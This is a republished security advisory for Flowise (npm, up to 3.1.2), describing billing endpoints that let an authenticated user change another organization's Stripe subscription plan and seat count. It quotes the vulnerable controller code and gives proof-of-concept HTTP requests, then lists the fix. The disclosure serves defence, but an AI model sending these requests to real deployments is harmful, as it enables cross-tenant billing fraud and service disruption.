GHSA-gmmw-qg98-6j6p: Npm/flowise vulnerability

Published Aug 4, 2026
·
Updated

Summary Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.

This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.

Details Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.

File

packages/server/src/enterprise/routes/organization.route.ts

Affected routes:

typescript router.post('/update-additional-seats', organizationController.updateAdditionalSeats) router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan) updateSubscriptionPlan

File

packages/server/src/enterprise/controllers/organization.controller.ts

typescript public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) { const { subscriptionId, newPlanId, prorationDate } = req.body

const identityManager = getRunningExpressApp().identityManager

const result = await identityManager.updateSubscriptionPlan( req, subscriptionId, newPlanId, prorationDate )

return res.status(StatusCodes.OK).json(result) }

The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.

Missing validation: subscriptionId belongs to req.user.activeOrganization

updateAdditionalSeats

typescript public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) { const { subscriptionId, quantity, prorationDate } = req.body

const identityManager = getRunningExpressApp().identityManager

const result = await identityManager.updateAdditionalSeats( subscriptionId, quantity, prorationDate )

return res.status(StatusCodes.OK).json(result) }

Again, the subscriptionId is taken directly from the request body without verifying ownership.

PoC Step 1 - Obtain victim subscriptionId

This identifier may be obtained via the organization read endpoint or other exposed references.

Example:

subYYYYYYYYYYYY

Step 2 - Modify victim subscription

http POST /api/v1/organization/update-subscription-plan Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json

{ "subscriptionId": "subYYYYYYYYYYYY", "newPlanId": "freeplanid", "prorationDate": 1735689600 }

Step 3 - Change seat quantity

http POST /api/v1/organization/update-additional-seats Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json

{ "subscriptionId": "subYYYYYYYYYYYY", "quantity": 0, "prorationDate": 1735689600 }

Impact An authenticated attacker can manipulate the Stripe subscription of other organizations.

Possible consequences include:

- Unauthorized subscription upgrades to higher-priced plans - Manipulation of paid seat quantities leading to unintended charges - Service disruption through plan downgrades

Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.

Affected Software

1 affected componentFixes available
npm/flowise<=3.1.2
3.1.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/flowise to a version that resolves this vulnerability.

    Fixed in 3.1.3
  2. Configuration

    Modify POST /api/v1/organization/update-additional-seats and POST /api/v1/organization/update-subscription-plan so that the server does NOT trust the client-supplied subscriptionId from req.body. Instead, resolve/verify the subscriptionId from req.user.activeOrganization (i.e., enforce that subscriptionId belongs to req.user.activeOrganization before calling identityManager.updateAdditionalSeats or identityManager.updateSubscriptionPlan).

    Server billing endpoints (packages/server/src/enterprise/controllers/organization.controller.ts / packages/server/src/enterprise/routes/organization.route.ts) subscriptionId ownership validation = enabled

Event History

Aug 4, 2026
Advisory Published
via GitHub·07:24 PM
Data Sourced
via GitHub·07:24 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203